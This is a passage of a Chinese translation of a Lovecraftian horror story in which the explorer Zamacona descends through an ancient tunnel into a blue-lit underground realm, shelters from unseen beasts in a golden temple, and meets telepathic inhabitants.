那些老一代的人本身就像是鬼魂一样——事实上,据说他们不会再变老,也不会再繁衍后代,只能永远逗留在一种介于肉体与灵魂之间的状态。但是这种变化并不是完全的,因为他还需要呼吸。也正因为他们的地下世界需要空气,所以那些位于深谷里的洞口才没有像那些位于平原上的土丘入口一样被封堵起来。奔牛补充到,那些洞口也许是根据大地上的天然裂缝改建的。还有传说称,早在地球还非常年轻的时候,那些老一代就从群星之间降落到了这里,并且进入到了地下用纯金建造了他们的城市——因为当时的地表并不适宜他们居住。他们是所有人的祖先,然而却没有人能说出他们来自哪颗星星——或是群星之外的哪个地方。他们那隐藏在地下的城市依旧装满了黄金与白银,但凡人如果没有被非常强大的魔法保护着,那么最好还是不要去理会他们。 他们驯养着一些与人类有着微弱血缘联系的野兽。他们将这些可怕的野兽当作坐骑,同时也利用它们进行一些其他的工作。人们传说这些野兽是食肉的,就像他们的主人一样,而且更喜好人类的血肉;所以尽管老一代自己并不会繁衍后代,但他们有着一种半人半兽的奴隶阶层,并且用这些奴隶来养育他们与那些野兽。这些奴隶都是以某些非常古怪的方法被地征募来的,并且有着另一种由复活的尸体构成的奴隶阶层来为他们的工作进行补充。那些老一代有办法将尸体改造成某种机器,而这些尸体机器能几乎永远地存在下去,并且能通过接受思想上的指令来完成任何类型的工作。奔牛说那些人仅仅通过思维来交流;在经历过年岁漫长的探索与学习后,说话被认为是即粗鲁又没有必要的表达方式——除非是进行宗教祷告,或是为了表达强烈的情感。他们崇拜伊格,众蛇之父,同时也崇拜图鲁,一个有着章鱼般头部的存在——就是这个存在将他们从群星之间带到这里来的;他们用人类献祭的方式来取悦这些令人毛骨悚然的怪物——这种献祭的方式非常奇怪,而奔牛也不愿意再就这个问题多做描述。 扎曼阿克拉被这个印第安人口中的传说深深吸引了,并且立刻决定雇佣他为向导去探索那些位于溪谷里的神秘通道。但他并不相信传说中、那些躲藏起来的地下居民所拥有的怪异风俗,因为探险队的以往经验已经足够让任何一个人学会对土著神话中的未知之地不抱任何幻想了;但他的确感觉到那些雕刻着怪异装饰的地下通道之后肯定有着某些令人极为惊异的世界——某些富饶而且充满冒险的世界。起先,他想说服奔牛把这件事情告诉科罗拉多——并且愿意为他承担任何因为领队那狐疑而又暴躁的脾气所带来的严重后果——但稍后他又改变了主意,觉得最好还是一个人独自探险。如果他在没有任何帮手的情况下完成了探险,那么他也就没必要与其他人分享他所找到的任何发现;而且他也很可能因此变成一个伟大的探险家,并且独占那些传说中的财富。成功完成这次探险会令他变成一个比科罗拉多还要伟大的人物——也许比新西班牙地区上的任何人,甚至包括极有权势的总督安东尼奥·德·门多萨大人[注],更加伟大。 _[注:新西班牙地区的第一任总督]_ 于是,1541年10月7日距离午夜还有一个小时的时候,扎曼阿克拉偷偷溜出了修建在草屋村落边的西班牙人营地,与奔牛成功汇合,一同开始向南的长途行进。他决定尽可能地轻装前进,因此并没有穿戴自己那笨重的头盔与胸甲。手稿几乎没有提到任何有关旅行的细节问题,不过扎曼阿克拉记录了自己的抵达时间——10月13日。他们没有花多少时间便成功地从生长着茂盛树木的山坡上爬了下来,但印第安人在光线昏暗的峡谷里重新定位那个被灌木掩藏起来的石门时却遇到了麻烦,好在他们最后还是找到了那个地方。那是个非常小的入口。几根大块的砂岩构成了它的门楣和边框。在砂岩上还有残留着一些痕迹,显示着过去曾雕刻在上、而现在却几乎已被完全磨蚀无法辨认的图案。入口大约高七英尺、宽最多四英尺。门框上有钻过的痕迹,似乎暗示着过去曾存在有一道带铰链的大门,但关于这扇大门的其他痕迹早已消失殆尽了。 当看到那条通向地下的黑色裂口时,奔牛表现出了极大的恐惧,并且仓促地扔掉了他的补给袋。虽然他为扎曼阿克拉准备好了充足的树脂火炬和食物,而且诚实又准确地将扎曼阿克拉带到了目的地;但到了这个时候,这个印第安人却执意拒绝再与西班牙人一同继续接下来的探险。扎曼阿克拉只得给了他一些专门为这种场合而准备的小饰品,并且要求他承诺在一个月后重新返回这里;到时候再为自己指明向南到达佩科斯河普艾布罗印第安人村落的道路。他们在山谷上方的平原上挑选了一块醒目的大石头作为会面的地点,并且约定先到的人要在那里扎建好帐篷等待另一个人到来。 至于那个印第安人到底在约定地点等了多久,这令扎曼阿克拉颇为好奇,他在手稿里表露出了对于答案的强烈渴望——因为他自己永远也无法遵守他们之间的承诺了。在分别的最后时刻,奔牛曾试图劝说扎曼阿克拉打消深入黑暗洞穴探险的念头,但他很快便意识到这只是白费力气,于是他最后面无表情地做了一个再见的手势。扎曼阿克拉看着印第安人那瘦削的身形仓促地爬上了山坡,然后仿佛松一口气般渐渐消失在了树林里;然后他点燃了自己的第一支火炬,带着自己笨重的包裹走进了那条通道。这切断了他与这个世界的最后一丝联系;虽然他当时并不知道,但在这之后他就再也没有见过任何一个人类了——至少再也没有见过任何通常意义上的“人类”了。 在刚走进那个不祥的入口时,扎曼阿克拉并没有立刻感觉到邪恶的征兆。一种离奇与异样的气氛环绕在他的身旁。洞口后的通道要比洞口本身稍大一些,在前面的许多码内,都是一段由巨大砖石修建的水平隧道。隧道的地面上铺建着已被严重磨蚀了的石板,而它的两侧与天花板则是由雕刻着怪诞图案的花岗岩与砂岩石板构成的。从扎曼阿克拉的描述来看,那些雕刻肯定非常恐怖而又令人嫌恶;而且其中的大多数都是以可怕的伊格和图鲁作为主题。它们与冒险者以前见过的任何东西都不尽相同,不过扎曼阿克拉也补充说在整个外部世界中,只有墨西哥土著的建筑艺术与它们最为接近。在走过一段距离之后,隧道突然开始陡峭地向下延伸过去,与此同时地面、墙壁与天花板上也都开始出现了许多不规则的天然岩石。整条通道似乎只有部分是人工修建的,而所有装饰也都只出现在那些偶尔才能看见的嵌板上。而这些嵌板上大多都雕刻着令人惊骇的浅浮雕。 隧道向下延伸得非常远,而且有时隧道的坡度会变得极其陡峭,甚至有让人摔倒并一直滑下去的危险。随着坡道的不断下行,整条通道的延伸方向与四周的轮廓也开始变得极具变化起来。有时它狭窄到几乎只剩一条裂缝,有时又低矮得只能弯腰前进,甚至有时还需要爬行向前;可是在另一些时候,它又扩宽成一个大小颇为可观的洞穴或是甬道。似乎,在通道的这一部分几乎看不到什么人工建筑;但偶尔也会有一块不祥的装饰嵌板,或是一些出现在墙上的象形文字,抑或一条通向侧旁但却被堵起来的通道来提醒扎曼阿克拉这的确是一条早在亘古时期就已被人们遗忘的大道,而这条大道正通向某个令人难以置信同时却又残存着某些活物的古老世界。 根据潘费罗·德·扎曼阿克拉尽可能准确地估计,大约三天的时间里,他一直在这永夜的黑暗世界里爬上、爬下、向前、回转。不过在绝大多数时候,他都是在向下走。偶尔,他能听到某些隐秘的生物在他的路上啪嗒啪嗒地行进,或是扑打着翅膀飞行;期间还有一次,他似乎隐约瞥见了一个巨大的白化生物,这让他感到不寒而栗。隧道里的空气质量大多数时候都还算不错;但不时也会遇到泛着恶臭的区域,另外,还有一个生长着钟乳岩与石笋的巨大洞窟也带来令人压抑的潮气。奔牛也曾提到过那个溶洞,这构成了路上一道非常难以穿越的阻碍;因为经年累月沉积下来的石灰岩在这些远古住民走过的大道上形成了新的石柱。不过,印第安人曾突破了这道障碍;所以扎曼阿克拉也没有受到多大的阻碍。一想到外部世界曾有人来过这里,就让他在不知不觉中感到欣慰——而印第安人细致的描述也让他少了几分惊讶与意外。甚至——奔牛对于这条隧道的了解让他准备好了充足的备用火炬,足够扎曼阿克拉往返所需,让他无需为丧失光亮而受困黑暗而担心。旅行中,扎曼阿克拉扎了两次营,并燃起了篝火。自然通风似乎很好地带走了篝火产生的烟雾。 在他估计的第三天快结束的时候——虽然他对自己估计的时间表深信不疑,但实际上却并不太容易让人相信——扎曼阿克拉遇到了一道极高的下坡道,后面紧跟着一段极长的上坡道。根据奔牛的描述,这应当就是隧道的最后一部分。从在这之前的某个地方开始,人工改造洞窟的痕迹又开始变得明显起来;有几次陡峭的坡道上出现了粗糙开凿出的台阶,有效减轻了下行的难度。借着火炬的光辉,扎曼阿克拉看到墙面上的可怕雕刻变得越来越多,到最后当他爬下最后一段向下的通道,开始逐渐向上爬去时,树脂燃烧的火光似乎混进了一丝昏暗、但却散布得更广的微光。到最后,当向上的坡道终止时,前面出现了一条由暗色玄武岩巨石修砌的水平通道。到了这个时候已经不再需要火炬了,因为这里的空气中全都弥漫着一种淡蓝色、仿佛电弧一般的光辉,如同极光一般忽隐忽现。这就是那个印第安人曾描述过的、来自地底世界的奇怪光辉——紧接着,扎曼阿克拉离开了那条修建在乱石丛生的荒凉山坡上的隧道,在他的头上是一片匪夷所思的、翻滚涌动着淡蓝色光辉的天空,而在他脚下令人晕眩的远处,是一片笼罩在淡蓝色云雾之中,仿佛无边无际的平原。 终于,他来到这个完全未知的世界。从他留下的手稿来看,他显然看到了某些难以描述的景色,而且令他觉得颇为自豪和得意,就如同他的同胞巴波亚[注]从达连湾边那令人难忘的山峰上俯瞰新发现的太平洋时所感受到的一样骄傲。奔牛就是在这里折返回去的。当时,某些东西带来的恐惧驱赶着他逃离了这块地方,但那到底是什么,他也无法描述清楚——他只是推诿而又模糊地描述成一群邪恶的牲畜,既不是马匹也不是野牛,而是一些像是土丘幽灵在晚上骑乘的那种怪物——但扎曼阿克拉不会被这种微不足道的小事所阻挠。他并不害怕,相反一种奇怪的荣耀感充溢在他心中;因为他想象过太多次这样的情形,并且完全了解独自站在一个奇妙的地下世界面前究竟意味着什么,更别提其他白人甚至都没想象过会存在着这样一个世界。 _[注:著名西班牙探险家]_ 这片在他身后急剧隆起然后又在他脚下陡峭向下延伸的山坡是暗灰色的,上面散布着乱石,没有任何的植被,可能原来曾是玄武岩地貌;那种怪异神秘的景色让他感觉自己就像是一个站在陌生星球上的外来者。在数千英尺的下方,那片遥远的巨大平原上看不到任何可以分辨的特征;这主要是因为它似乎被一种缭绕的淡蓝色雾气笼罩着。但是,除了这面山坡以及下面的平原与云雾外,那泛着蓝色光辉、闪闪发亮的天空也令冒险者印象深刻,乃至有一种面对着超凡奇迹与奥秘的感觉。他不知道究竟是什么在这个世界里创造出了这样一片天空;但他听说过北极光,并且也见过一两次。所以他猜测这位于地下的光辉也许与极光有着某些类似之处;对于现代人来说,这个观点很值得赞同,但似乎这里面还参杂了某些因辐射作用而产生的现象。 在扎曼阿克拉的背后,他曾穿过的隧道还敞着它那幽暗的入口。那个入口外也修建着一座石头大门,就与他在地面上进入隧道时所看到的非常相似——只不过这扇大门是用灰黑色的玄武岩修建的,而不像地上那样用的是红色的砂岩。大门上雕刻着令人毛骨悚然的图案,而且保存的相当完好,这也许正对应着那些雕刻在外面大门上的图案——只是那些暴露在外的雕刻在经历过漫长的年月之后被严重地风化了。这里干燥、温和的环境显然不利于风化作用的进行;事实上,西班牙人已经开始注意到这里的温度如同春天般令人愉悦而稳定,这说明这儿的气候应该类似于北美洲北方的内陆地区。 在石头门框上还有着一些痕迹证明这里也曾存在着某种类似大门铰链的装置,但却已经看不到那扇大门了。扎曼阿克拉坐了下来,准备休息一会儿,并为下一步做好打算。为了减轻负重,他拿出了一部分食物与火炬,准备在返回隧道时再带上它们。他用散落在四下的碎石匆忙地在隧道入口边堆砌起了一个石堆,并将准备返程时带上的补给储藏在了石堆里。然后,他重新调整了一下身上已经减轻的行囊,开始向下前往那片遥远的平原;准备进入一片全新的世界——在一个世纪甚至更长的年月里,从未有任何地表的活物曾深入这里,更没有任何一个白人曾到达过这里,而且如果传说是可信的话,也没有哪个活物在到过这里之后还能神智健全地返回地面。 扎曼阿克拉轻快地大步走下了陡峭而又永无止尽的陡坡;但有些时候,松动的岩石碎屑或是太过险峻的陡坡让他不得不停下来。那片被云雾笼罩着的平原一定在非常非常遥远的地方,因为扎曼阿克拉在行走了许多个小时之后,仍不觉得它变得近了一些。在他身后则总是巨大的山坡,这些山坡一直延伸向上,最后消失在由蓝色光辉汇聚而成的明亮云海里。四周沉寂无声;所以他自己的脚步声、以及走动时带起石块滚落的声响变得令人惊异的清晰,回响在他的耳朵里。在他估计大约快中午的时候,扎曼阿克拉第一次看到了一些怪异的脚印,这让他想起了奔牛口中那些可怕的描述,还有那个印第安人突然逃跑的举动以及他对这个地方恒久不变的奇怪恐惧心理。 由于土壤中散落着碎石,所以很难有机会留下任何形式的痕迹,但在有一块地方,较为平整的缓冲带截住了上方滚下来的碎岩,并逐渐堆积成了一条脊带,为后方留下了一块面积很大而且完全裸露在外的灰黑色沃土。在这上面,扎曼阿克拉发现了那些奇怪的脚印。这些脚印散乱无序,似乎暗示着曾有一大群东西在这里漫无目的地游荡。令人遗憾的是,他并没有对这些脚印进行准确详细的描述,而且从手稿来看,他并没有进行细致的观察,而是隐约地感到了一丝恐惧。究竟是什么让西班牙人如此恐惧,只能根据手稿后文他对于那些野兽所作的描述来进行推断了。他称那些脚印“不是蹄子、不是手、更不是脚、严格来说也不算上爪子——也没有大到让人感到警觉的地步”。这些东西在多久之前经过这里,它们为什么要来这里,则不是个容易猜测的问题。这里看不到任何的植被,因此不存在来此放牧的可能性;但是如果这些野兽是肉食的,那么它们也许会来此狩猎较小一些的动物,而它们留下的足迹也会掩盖掉那些猎物留下的痕迹。 站在这片高地上回望更高处的山坡时,扎曼阿克拉觉得自己似乎看到了一条宽阔大道遗留下的痕迹。这条道路从隧道入口的地方蜿蜒向下,一直延伸到了平原上。实际上,只有站在这样一个视野旷阔、可以看到全景的位置上,人们才有可能发觉那条已经消失了的宽阔大道;因为许多散落的碎石早在很久之前就已让它变得难以辨认了;不过探险者仍旧很确定那儿的确存在着一条大道。那可能并不是一条精心铺设的主干大道;因为它那一头连接着的小隧道一点儿也不像是一条通向外面世界的主干道。如果要选择一条笔直的路线下山,那么扎曼阿克拉就不必沿着它蜿蜒的路线一直走下去,不过即便这样,下山的过程中也肯定会有一两次机会横穿过它。当他的注意力完全被吸引到这条大道上时,他顺着道路往下望去,想看看是不是能找到它是在哪里连接到平原上的;这也是这时他唯一能做的事情了。接着,他决定在下次横穿它时顺带研究一下这条大道的路面,如果他能将它与山体区分开来的话,他也许会沿着这条路一直走下去。 在继续向下后不久,扎曼阿克拉便来到了他认为的古老道路上的一处弯道边。道路上留有人工整平过的迹象,甚至可以看到用岩石简单铺设后留下的痕迹,但这些迹象并不明显,难以一直追踪下去。当西班牙人用剑在土地里翻寻时,他挖出了一个在蓝色天光中闪闪发光的东西。他颇为激动地发现这是一种类似硬币、或纪念章的东西。它是由一种颜色较深、带有光泽的未知金属铸造的,在圆片的两边都刻着令人毛骨悚然的图案。他对这东西一无所知,同时也对它感到非常迷惑。根据他的描述,我相信那就是一个和灰鹰给我的护身符类似的物件,虽然它在四个世纪之前就被发现了。在经过长时间好奇地检查后,扎曼阿克拉把它塞进了口袋,继续大步前进;并在一小时后,扎下了营地——他认为那时候差不多是外面世界的晚上了。 第二天扎曼阿克拉很早就起来了,并继续往下走向那个被蓝色光辉点亮的世界——那个由迷雾、荒芜与超乎寻常的死寂所构成的世界。随着他继续前进,他终于能够分辨出少量位于下方遥远平原上的事物了——包括一些树木、灌木丛、岩石以及一条小河。那条小河从右侧进入了他的视线,并在他预计路线的左侧某处拐了个弯向着远处流去。小河上似乎横跨着一座石桥,而那座石桥则连接着向下的去路。在仔细察看后,冒险者能隐约追寻到那条道路跨越过小河,然后笔直地深入了平原深处。最后,他甚至觉得自己能够看到一些沿着那条笔直的长带散布的城镇;那城镇的左侧边沿正好与小河接壤,并在某些地方跨过了小河延伸到了河的另一边。当他继续向下走去时,他看见在城镇中那些越过小河的地方,总会有着桥梁存在过的迹象——其中有些桥梁还存在着,而有些则已经倒塌损毁了。这时他走进了一片仿佛草一般的稀疏植被中,并且发现他的下方,植被逐渐变得越来越浓密了。这时候,那条道路已经变得很容易辨认了,因为它那被平整过的表面并不像两侧疏松的土壤那样容易生长植物。岩石的碎片则变得稀少起来,对比起现在身边的环境,背后巨大山坡上那荒芜的景致看起来变得更加荒凉与令人生畏了。 也就是在这一天,他看到一大群模糊的东西在遥远的平原上移动。自从扎曼阿克拉第一次看到了些邪恶的脚印之后,他就没有再遇到过类似的脚印了,但那群缓慢但却随意移动着的东西中的某些特征让他感到尤为嫌恶。除了一群放牧中的畜群外,没有东西会像那样移动。但在看过那些脚印后,他一点也不希望看到那些曾留下此类脚印的东西。不过,那群移动着的东西并不在路边,而他的好奇心以及对传说中的黄金的贪恋仍旧极为强烈。再者,有谁会根据一些模糊、杂乱的脚印,或者一个愚昧的印第安人疯狂而恐慌的故事来评断事情的真相呢? 在扎曼阿克拉瞪大眼睛看着那群移动着的东西时,他也留意到了其他一些有意思的东西。其中之一就位于那片城镇上——在那片现在已经看得颇为清楚的城镇建筑中,有某些地方正在蓝色的光芒中古怪地闪闪发光。而另外吸引他注意力的地方则是城市的周边也有一些类似的、闪闪发光的建筑。这些建筑要更加孤立一些,一般沿着道路分布,或是散落在平原上。它们似乎被成片的植被环绕着,其中那些远离道路的,都会连接出小路来通向大道。城镇里和建筑上都看不到没有烟雾,或是其他显示有生产活动的迹象。最后,扎曼阿克拉发现这片平原并不是无限延伸的,只是那半遮半掩的蓝色雾气让它看起来仿佛无边无际一般。在极为遥远的地方,平原终止在一片低矮的群山前。那条小河与平原上的道路似乎也指向那些群山中的一处裂口。当扎曼阿克拉在这永无尽头的蓝色白昼中第二次扎下自己的营地时,所有这一切——尤其是那些位于城镇里的、某些闪闪发光的尖塔——已经变得非常清晰了。同样,他还看到了几群飞翔着的鸟,但他无法清楚地分辨出它们的种类。 第二天下午——手稿中一直使用的是外面世界的时间观念——扎曼阿克拉抵达了那片死寂的平原。他从一座雕刻着奇异图案而且保存得相当完好的黑色玄武岩石桥上跨过了那条缓慢流动着的无声小河。河水很清澈,里面游动着许多样貌非常怪异的大鱼。这个时候那条从山上延伸下来的土路已经变成了铺建过的大道,而且上面恣意地生长着野草与爬行的藤蔓。偶尔,道路的边界会被雕刻着模糊符号的小立柱标记出来。在道路的两侧铺展的平坦的草地,有时会出现一丛树林或灌木。不明种类的淡蓝色花朵不规则地散乱在整个地方。偶尔草丛里发出间歇性的悸动,似乎暗示着有蛇在其中游走。又走了几个小时,探险者终于抵达了一片古老、看起来非常古怪的常绿树林。通过从远处的张望,扎曼阿克拉知道这圈树林正保护着一处孤立在城镇之外,屋顶闪闪发光的建筑物。他看见在那些逐渐侵蚀道路的植被中耸立着一对石头立柱,为一条从大路边延伸出的侧道构成了大门。立柱上雕刻着令人毛骨悚然的绘画。茂密的灌木迫使他走上了一条两侧耸立着巨大乔木与低矮石头立柱的小道。镶嵌成棋盘格子般的小道上覆盖着一层泥苔,而且还生长着荆棘。但他却不得不从这些带刺的植物中间穿过去。 最后,在死寂绿色微光中,他看到了建筑物那摇摇欲坠、同时也古老得难以言述的正门。他肯定地确认那是一座神庙。它上面汇集着大量令人嫌恶的浅浮雕;浮雕上描述了许多的场景与生物、许多的物件与仪式,但所有这些东西都绝不会出现在这个神智健全的星球上,乃至任何神智健全的星球上。在描述这些东西时,扎曼阿克拉第一次表现出了惊骇以及一种满怀好意但却没有丝毫帮助的迟疑——这在一定程度上削弱了手稿后面部分所包含的信息价值。我非常遗憾地发现,文艺复兴时期西班牙人对天主教热情已完全渗透进了他的每一分思想与感情。神庙的大门仍旧敞开着,完全的黑暗充满了它内部那无窗的房间。在克服了那些由雕刻引起的反感与嫌恶后,扎曼阿克拉拿出了打火石与剑,点亮了树脂火炬,推开从上方垂下来如同帷幕般的蔓藤,大胆地走进了那道不祥的大门。 有一瞬间他被他看到的东西惊得目瞪口呆。但令他吃惊的并不是那些在历经过无数年月之后,沉淀遮盖在所有事物上的尘土与蛛网;不是那些扑打着双翼飞出的东西;不是那些凿刻在墙面上,令人极为嫌恶的雕画;也不是那些数目众多、造型奇异的水盆与火盆;更不是那只顶部向下凹陷的邪恶祭坛。他还看到了一尊用奇怪的暗色金属铸成的畸形怪物——这个长着章鱼般头部的可怕怪物阴沉地蹲伏在雕刻着象形文字的基座上,不怀好意地睨视着闯入者——这景象甚至让他恐惧得无力去尖叫。但真正令他目瞪口呆的并不是这些极为神秘与诡异的东西——而是因为,除开那些尘土、蛛网、扑打着飞出的有翼生物以及那尊镶嵌着绿宝石双眼的巨大塑像外,他所看到每一寸地方都是由纯粹的黄金建造的。 虽然扎曼阿克拉后来得知黄金在这个蕴含着无数金矿矿脉的地下世界里只是一种极为普通的建筑金属,但他在书写这份手稿时仍流露出了自己在突然之间发现了所有印第安人传说中所提到的黄金之城的真正源头时所感受到的近乎疯狂的兴奋。一时间他几乎丧失了进行仔细观察的能力,但到了最后,一种他上衣口袋正在被奇怪拉扯着的感觉唤醒了他。顺着这种感觉,他发现那片他在废弃道路上找到的由奇怪金属铸造的圆片正与那个矗立在基座之上、长着巨大章鱼头部与绿宝石眼珠的塑像之间存在着一种强大的吸力。接着他意识到这个塑像也是由和那个圆片一样的未知金属铸造的。后来他才知道这种蕴含着奇异磁力的物质是这个蓝色深渊中一种非常珍贵的金属——整个地下世界和外面世界的人一样,对这种金属所知甚少。没人知道它究竟是什么,也没有人知道它们是从大自然中什么地方被开采出来的。所有存在于这颗星球上的这种金属都是在伟大的图鲁——那个长着章鱼头部的神明——第一次把他们带到地球上的时候,随着他们一同从群星之间降临到这里的。可以确定的是,它的唯一已知来源就是老一代储存下来的古老遗物,包括那些为数众多的巨形塑像。没有人有办法能将找到它的来源,也没有人能够分析它的组成,甚至它的磁性也只在同类物质中才起作用。这是那些躲藏在地下的人们在最重要的仪式上才会使用的金属,而它的使用也需要遵循相应的习俗——只有这样,它本身所具备的磁性才不会带来不必要的麻烦。同时,它也能与其他常见的金属——例如铁、金、银、铜或锌——合铸成一些磁性较弱的合金;那些躲藏于地底的人们,在他们历史上某段时期,曾使用此类合金当作他们唯一的货币标准。 当扎曼阿克拉还在为这个奇怪塑像以及它所表现出的特殊磁力感到困惑时,一阵巨大的恐惧打乱了他的思维。自他深入这个死寂的地底世界以来,他第一次非常确定听到了一阵明显是在逐渐接近的隆隆声。扎曼阿克拉很清楚地知道那是什么发出来的声音。那是一大群大型动物奔驰时发出的雷鸣般的声响;当他想到那个印第安人的恐慌情绪,想起那些脚印以及他远远望见的、移动中的畜群时,西班牙人在为自己的可怕预感打了个寒颤。他并没有去分析眼下的处境,也没有去思索那些动物为何会隆隆地奔驰而来,而仅仅是被最基本的、自我保护的本能驱动着。可是,奔腾的兽群本不会停下来寻找那些躲在阴暗地方的受害者,而且如果是在地表世界中,置身在这样一座被浓密树林环绕的巨大建筑里,扎曼阿克拉根本不会感到紧张,或者仅仅有些许担心。但现在,某种生物的本能在他灵魂深处逐渐孕育出了一种奇怪而又深切的恐惧感;他开始疯狂地环顾四周,寻早任何能让保护他的方法。 可是,在这个被黄金铺满的巨大空间里并不存在着任何的藏身之所,于是他觉得自己必须要关上那扇早已废弃许久的大门。所幸,神庙的大门仍旧挂在它古老的铰链上,向两侧开阖的门扉正紧紧地靠在房间内的墙上。由于从入口爬进来的泥土、藤蔓与苔藓已经堵住了大门,他不得不开始用剑在那两扇巨大的金色门扉前挖出一条路来;在奔袭而来的轰鸣所带来的恐惧中,他非常迅速地完成了这项工作。在他准备费力拉动那两扇沉重的门扉时,远处蹄子踩踏的声音变得更加响亮了,而且充满了危险的意味;当他发现自己的希望开始变得渺茫,发现自己再也拉不动那扇早已卡死许久的大门时,他的恐惧更是发展到了疯狂的程度。这时,随着一声喀嚓声,年轻人的力量与疯狂地推拉反复起了作用。在奔踏而来的轰鸣脚步声中,他终于成功了。厚重的金色大门在铿锵声中阖上了,将扎曼阿克拉留在黑暗之中。但他插在一个水盆三脚架的柱子间的火把仍旧点亮了这个地方。大门的背后有一只门闩,这个吓坏了的年轻人由衷地向他的守护神祈祷它还能派上用场。 随后的事情,这个避难者就只能依靠声音判断了。当那轰鸣声变得非常近时,它自己分成了许多散乱的奔跑声,似乎那常青树林让整个畜群变得慢了下来,并且开始分散开来。但那声音仍在接近,很显然那些野兽在树林里穿行,并且正环绕着神庙那凿刻着可怕雕画的院墙。在它们那非常从容地踏步声中,扎曼阿克拉似乎意识到了某些让他颇为警觉与厌恶的东西,即便是隔着厚厚的石墙与厚重的金色大门,他也不太喜欢听到那些的在四周走动的声响。然后,大门上那古老的铰链发出了一阵不祥的咯吱声,仿佛受到了沉重的撞击。但幸运的是,它并没有因此而打开。然后,停顿了一段似乎永无止境的时间之后,他听到了渐渐远去的声音,接着便意识到那些未知的访客已经离开了。因为兽群似乎并不是非常庞大,在半个小时之后,或者更短的时间内,就应该可以安全地外出离开了;但扎曼阿克拉不愿意冒险。他依旧闩着大门,安全地将任何可能来访者阻挡在外。然后,他打开自己的旅行袋,在神庙金色的地砖上支起了自己的帐篷,并最后陷入了沉睡之中。比起外面那个始终被蓝色光芒照亮的天空来说,他在这间金色的房间里要睡得安稳得多。他甚至都不在意那个摆放在雕刻着可怕象形文字基柱上、用未知金属铸造的伟大图鲁;任由这个长着章鱼脑袋的恐怖怪物蹲伏在他头上的黑暗里,用鱼一般的海绿色的眼睛不怀好意地睨视着自己。 离开隧道之后,这还是他第一次被完全地黑暗包裹着。在黑暗中,扎曼阿克拉陷入了长长的沉眠。虽然早已变得疲惫不堪,但天空中那永不熄灭的光芒却一直让他无法安睡;而现在他必须补上前两个营地里失掉的那些睡眠,因为当他深陷在安稳无梦的睡梦中时,其他一些东西已经替他走完了许多的路程。他能得到安稳的休息实在是件幸运的事情,因为有许多奇异的事情正在下一段他清醒的时间里等待着他。 ----------- ### IV 真正将扎曼阿克拉从沉睡中惊醒过来的是一阵由大门外传来的洪亮敲击声。当他意识到那声响意味着什么时,这阵雷鸣般的敲打声立刻击碎了他的梦境,将那种仍徘徊在半梦半醒中的朦胧感觉一扫而空。他绝对不会听错——那非常肯定地是由人类在果断叩打大门时所发出的声响;它听起来应该是由某些金属物体有节奏地碰撞大门而发出的巨大声响,并且明确地显露出敲击者是怀着某些目的而有意为之的。当刚睡醒的西班牙人笨拙地爬起来时,一个尖锐的声音混着敲门声一起传了进来——似乎有人在外面叫他。那声音并不是音符,而是一种尖锐的词句。扎曼阿克拉在手稿中努力将之记述为“oxi, oxi, giathcán ycá relex”。当意识到敲门的访客是人而非什么魔鬼时,扎曼阿克拉首先努力说服自己相信他们并没有什么理由要与自己为敌,而后他决定立刻并且坦然地与这些来访者会面;他摸索着打开了金色大门后的古老门闩,然后等着大门在外界碰撞下轰然打开。 当巨大的殿门缓缓打开时,扎曼阿克拉的面前出现了一群人。他们大约有二十个人,样子普通,并没有让扎曼阿克拉感到警觉。他们看起来像是印第安人;但他们身上穿着的雅致长袍、佩戴的饰物与长剑却和他在外面世界见到过的任何部落成员都不一样,同时他们的脸也与典型的印第安人有着许多细微的差别。可以肯定的是,他们并不会毫无根据地表露出敌意;因为他们并没有做出任何威胁性的动作,他们只是聚精会神、意味深长地用眼睛打量着西班牙人,仿佛他们希望能通过自己的凝视与西班牙人进行某种交流一般。他们盯得越长久,扎曼阿克拉似乎就越能理解他们,也越能理解他们的目的;虽然在开门之前的那一声召唤之后,他们就再没有说过一个字,但是扎曼阿克拉发现自己渐渐开始了解他们的事情。他们似乎是从低矮丘陵那一边的巨大城市里过来的,他们骑着某种动物而来,因为那些动物向他们转告了他出现在这里的消息;同时他们并不清楚他是哪一种人,也不清楚他从哪里来,但是他们知道他肯定与那个只存在模糊记忆中、偶尔会在奇怪梦境里造访的外部世界有关。扎曼阿克拉无法解释自己是如何仅仅通过凝视那两三个头领便从中了解到这么多的东西,但稍后不久他便知道这是为什么了。 不过在这个时候,他只能试图用自己从洽齐·巴弗洛那里学来的威奇托方言与来访者交谈;当发现这并不能得到一个音节的回应后,他又接连尝试了阿兹特克语、西班牙语、法语以及拉丁语——并还在其中夹杂进了所有他能回忆起的、其他语言中使用的词句,包括蹩脚希腊语、加利西亚语还有葡萄牙语,甚至他家乡阿斯图里亚斯公国巴比地区农民所使用的方言。但这次多种语言的连续尝试,虽然已经耗尽了他所了解的所有语言,却没有得到任何的回应。然而,当他迷惑不解地停下来时,一个来访者开始说出了一种完全陌生但却非常奇异的语言。西班牙人很难将这些声音表达在纸上。当说话者发现他无法理解这种语言时,说话者起先指了指自己的双眼,然后指了指西班牙人的前额,然后又指了指了他的眼睛,仿佛命令对方盯着他来接收他所要传达的意思。 扎曼阿克拉遵循了他的命令,接着便发现自己很快就受到了某些信息。他了解到,这些人现在已经学会依靠不用发声的思想交换作为交流手段了;虽然他们以前曾使用过一种可以发声的语言,而且现在还保留它做为书写用的语言,但他们现在只会为了某些传统习俗而重新说出这种语言,或者是某些强烈的情绪需要得到自然的渲泄。扎曼阿克拉意识到他仅仅只需要将注意力集中到他们的双眼上就可以理解他们所要表达的意思;同样,他也可以在脑海中创造出一副图画来描述他想要说的东西,然后将这些图画通过他的凝视发送出去,就能让他们了解自己想要说的话。当那个传达者停顿下,显然是在邀请他回应时,扎曼阿克拉尽自己最大的努力试图跟上那既定的图案,但似乎并没有收到很好的效果。所以,他点了点头,并试图用更多的象征和符号来描述他自己与他的旅途。他指了指上面,好像那里就是外部世界,然后他闭上了眼睛,然后他闭上了眼睛想象一副好像鼹鼠钻洞般的情景。接着他又睁开了眼睛,指了指下面,好像正他穿过了巨大斜坡。与此同时,他试验性地在自己的手势中加入了一两个说出来的词——例如,他连续地指了自己然后又依次指了指所有的来访者,同时说“un hombre”[注];接着,他单独指了指自己,非常仔细地拼出了他的名字“潘费罗·德·扎曼阿克拉”。 _[注:西班牙语,一个男人]_ 